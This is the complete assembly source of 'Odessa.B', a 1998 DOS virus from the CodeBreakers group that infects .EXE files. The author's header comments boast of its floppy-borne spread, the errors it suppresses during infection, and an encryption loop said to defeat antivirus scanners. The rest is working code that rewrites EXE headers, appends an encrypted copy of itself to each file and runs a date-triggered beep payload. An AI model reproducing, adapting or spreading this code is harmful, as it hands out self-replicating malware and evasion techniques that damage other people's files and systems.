;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
;                              Odessa.B virus
;                       (C) Opic [CodeBreakers '98]
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
;Odessa.B variant is a continuation of Odessa (aka opic.727)
;
;Odessa.B's NEW features:
;
;-Odessa.B will NOW infect .Exe files present on any floppy disks 
; undetectably (due to a critical error handler).  It does so after
; the current HDD is infected. When Odessa.B is present on a floppy
; disk it will move imediatly to the HDD to insure infection of new systems.
;Thus making it a viable floppy born virus (one of the few outside of the
;BS/MBR families)
;
;-an expanded encryption loop 
;
;-some minor bug fixes, and optimisations. 
;
;Infected files grow approximatly: 745 bytes
;
;Old features:
;
;-Exe file infector 
;-directory transversal via dotdot
;-is Windows compatable (ie: will not infect: Windows NE, PE, LE files ect.)

;-some anti-emulation
;-payload criteria: the virus will activate its payload on 
; either the 13th or the 6th of any given month provided the seconds
; are below 30.
;
;-payload: when activated the virus will beep 6 times before the 
; infected file is run. I choose this more subtle payload because
;it is easily missed, and only creates a bit of curiosity at most.
;which is a good aspect since the fact that all infected files will
;try to access the floppy drive before running also brings some curious.
;Its also somewhat humerous because the telltale signs of this virus
;are also what many non-computer literate people constantly write to
;AVers about complaining of (to which the AVs constant reply is:
;false alarm. There is a signature line:
;Odessa.B (c) Opic [Codebreakers 1998] 
;I have left for the AV to rename for me, as it is never displayed 
;(hell i figure their gonna anyways :P ).
;
;detected: Not detected by TBAV as second gen. 
;
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Exe_Infector  Segment
              Assume CS:Exe_Infector, SS:Exe_Infector, DS:Exe_Infector, ES:Exe_Infector
              jumps
start:                             ;set registers up

                dec cx               ;lame loop
noav1:
                jmp noav2
                mov ax,4c00h
                int 21h
noav2:
                loop noav1           ;end of antiheur

                push ds
                push es
                push cs
                push cs
                pop ds
                pop es
                Call delta

delta:                             ;delta offset
                pop bp
                sub bp,offset delta
                lea si,[bp+Begin_Virus]
                mov di,si
                mov cx,End_Virus-Begin_Virus
                call encrypt
                jmp Begin

encrypt:
                lodsb
                NEG al    ;<-------------13
                ROR al,4  ;<------------12
                NOT al    ;<-----------11
                ROR al,4  ;<----------10
                NOT al    ;<---------9
                NEG al    ;<--------8
                ROL al,4  ;<-------7
                NOT al    ;<------6
                ROL al,4  ;<-----5
                NOT al    ;<----4
                ROR al,4  ;<---3
                NEG al    ;<--2
                NOT al    ;<-1
                ROR al,4  ;<0            this huge loop may
                NOT al    ;<-1           look silly but it
                NEG al    ;<--2          kills alot of AV
                ROR al,4  ;<---3         scanners due becuz
                NOT al    ;<----4        they think it is
                ROL al,4  ;<-----5       endless
                NOT al    ;<------6
                ROL al,4  ;<-------7
                NEG al    ;<--------8
                NOT al    ;<---------9
                ROR al,4  ;<----------10
                NOT al    ;<-----------11
                ROR al,4  ;<------------12
                NEG al    ;<-------------13
                stosb
                loop encrypt
                ret
Begin_Virus:

Check_Payload proc
                mov ah,2ah          ;system date
                int 21h
                cmp dl,13           ;is it the 31st if the month?
                je sec              ;yes? test seconds!
                cmp dl,6            ;13th ?
                je sec              ;yes seconds!
                jmp CP_Exit         ;no? restore.
sec:
                mov ah,2Ch         ;check time
                int 21h
                cmp dh,30d         ;seconds less then 30?
                jnb CP_Exit        ;if yes->payload
                call Payload

CP_Exit:
                ret
Check_Payload endp

Payload       proc

                mov ah,0eh           ;back to c:\
                mov dl,02h
                int 21h

                mov cx,6         ;beep 6 times.
beep:
                mov al,7
                int 29h
                loop beep        
                ret
Payload       endp

Infect        proc
                mov ax,3d02h  ;open file
                lea dx,[bp+End_Virus+1eh]
                int 21h

                mov bx,ax ;file handleto bx
                mov ah,3fh  ;exe head into buffer
                lea dx,[bp+header]
                mov cx,1ah
                int 21h

                cmp word ptr cs:[bp+header],'MZ'  ;check .exe signature
                je its_exe
                cmp word ptr cs:[bp+header],'ZM'
                je its_exe
                jmp close

its_exe:
                cmp byte ptr cs:[bp+header+12h],'B'  ;our infection check
                jne not_infected
                jmp close

not_infected:
                mov ax, word ptr cs:[bp+header+18h]  ;make sure its not a
                                                     ;windbloze exe (pe,ne,le .ect)
                cmp ax, 40h
                jae close                            ; > or =  means windbloze

                mov ax,word ptr cs:[bp+header+0eh] ;save orginal info from header
                mov word ptr cs:[bp+old_ss],ax  ;stack segment
                mov ax,word ptr cs:[bp+header+10h] ;stack pointer
                mov word ptr cs:[bp+old_sp],ax

                mov ax,word ptr cs:[bp+header+14h] ;instructional pointer
                mov word ptr cs:[bp+old_ip],ax

                mov ax,word ptr cs:[bp+header+16h]  ;code segment
                mov word ptr cs:[bp+old_cs],ax  ;cs:ip =begining of excutable code

                mov ax,4202h   ;EOF
                xor cx,cx
                xor dx,dx
                int 21h

                push ax ;save file size
                push dx
                push ax

                mov ax,word ptr cs:[bp+header+8] ;header size
                shl ax,4                         ;convert
                mov cx,ax     ;save header size in cx
                pop ax     ;restore ax
                sub ax,cx   ;subtract header from file size to get code and data size
                sbb dx,0

                mov cx,10h
                div cx

                mov word ptr cs:[bp+header+14h],dx ;IP create new header
                mov word ptr cs:[bp+header+16h],ax ;CS
                mov word ptr cs:[bp+header+0Eh],ax ;SS
                mov word ptr cs:[bp+header+10h],0fffeh ;SP
                mov word ptr cs:[bp+header+12h],'B' ;marker

                pop dx   ;restore filesize
                pop ax   ;dx to ax

                add ax,End_Virus-start
                adc dx,0

                mov cx,512       ;divide new filesize by 512
                div cx

                cmp dx,0
                je no_remainder
                inc ax

no_remainder:
                mov word ptr cs:[bp+header+4],ax  ;save new filesize
                mov word ptr cs:[bp+header+2],dx

                lea si,[bp+Begin_Virus]     ;crypt virus
                lea di,[bp+Buffer]
                mov cx,End_Virus - Begin_Virus
                call encrypt

                mov ah,40h              ;write decryptor
                mov cx,Begin_Virus - start
                lea dx,[bp+start]
                int 21h

                mov ah,40h              ;write encrypted portion
                mov cx,End_Virus - Begin_Virus
                lea dx,[bp+Buffer]
                int 21h

                mov ax,4200h   ;SOF
                xor cx,cx
                xor dx,dx
                int 21h

                mov ah,40h              ;write new header
                lea dx,[bp+header]
                mov cx,1ah
                int 21h
close:
                mov ah,3eh
                int 21h
                ret
Infect        endp

ni24h         proc         ;
                mov al,3   ;ignore error
                iret       ;critical error handler
ni24h         endp

Search        proc
                mov ax,3524h      ;critical error handler
                int 21h
                push bx           ;saves orig
                push es           ;stuffs to restore later

                mov ah,25h
                lea dx,[bp+ni24h]
                int 21h

                push ds           ;ES was changed by 3524h but you need it
                pop es            ;to be restored for the crypt procedure.

first:
                mov ah,4eh ;find first
                lea dx,[bp+filespec]
                mov cx,7

findnext:
                int 21h
                jc findover        ;no? get out!
                call Infect        ;yes and infect!
                mov ah,4fh ;find next
                jmp findnext
findover:
                mov ah,3Bh         ;change dirs
                lea dx,[bp+dotdot] ;to root
                int 21h            ;now
                jnc first          ;find first file
              
get_cur_drive:
                mov ah,19h         ;what drive are we on?
                int 21h
                cmp al,00h         ;if already floppy
                je Search_Exit     ;we can leave now.

                mov ah,0eh         ;select default drive
                mov dl,00h         ;this time the floppy drive
                int 21h
                jmp first          ;exe on floppy?
Search_Exit:
                pop ds
                pop dx
                mov ax,2524h
                int 21h
                ret
Search        endp

Begin         proc
                mov ah,2fh  ;get current dta
                int 21h
                push es     ;save it
                push bx
                push cs     ;restore es
                pop es

                mov ah,1ah  ;set new dta to end of virus
                lea dx,[bp+End_Virus]
                int 21h

                mov ah,0eh  ;select default drive (main HDD)
                mov dl,02h  ;c:\
                int 21h     ;so our virus can move from
                            ;a floppy to a new HDD without
                            ;any help

                lea si,[bp+old_ip]
                lea di,[bp+original_ip]
                mov cx,4
                rep movsw

                call Search
                call Check_Payload

                mov ah,0eh           ;back to c:\
                mov dl,02h
                int 21h

restore:                             ;restore prev location DTA
                pop dx
                pop ds

                mov ah,1ah           ;reset dta
                int 21h

                pop ds
                pop es
                mov ax,es            ;es points to PSP
                add ax,10h
                add word ptr cs:[bp+original_cs],ax

                cli                  ;ints off!
                add ax,word ptr cs:[bp+original_ss]
                mov ss,ax
                mov sp,word ptr cs:[bp+original_sp]
                sti                  ;ints on!
Begin         endp

              db 0eah
original_ip   dw ?
original_cs   dw ?
original_ss   dw ?
original_sp   dw ?

old_ip        dw offset Exit
old_cs        dw 0000h
old_ss        dw 0000h
old_sp        dw 0fffeh
filespec      db '*.exe',0 
dotdot        db '..',0
sig           db 'Odessa.B (c) Opic [Codebreakers 1998]',0   
header        db 1ah DUP(?)
End_Virus     db 42 dup(?)
Buffer        equ this byte+80h

              db 1024 dup(?)

Entry         proc
                mov bp,0000h
                push ds
                push es
                push cs
                pop ds
                push cs
                pop es
                jmp Begin
Entry         endp

Exit          proc     ;<- Begin procedure
                mov ax,4c00H
                int 21h
Exit          endp     ;<- End procedure

Exe_Infector  Ends
End Entry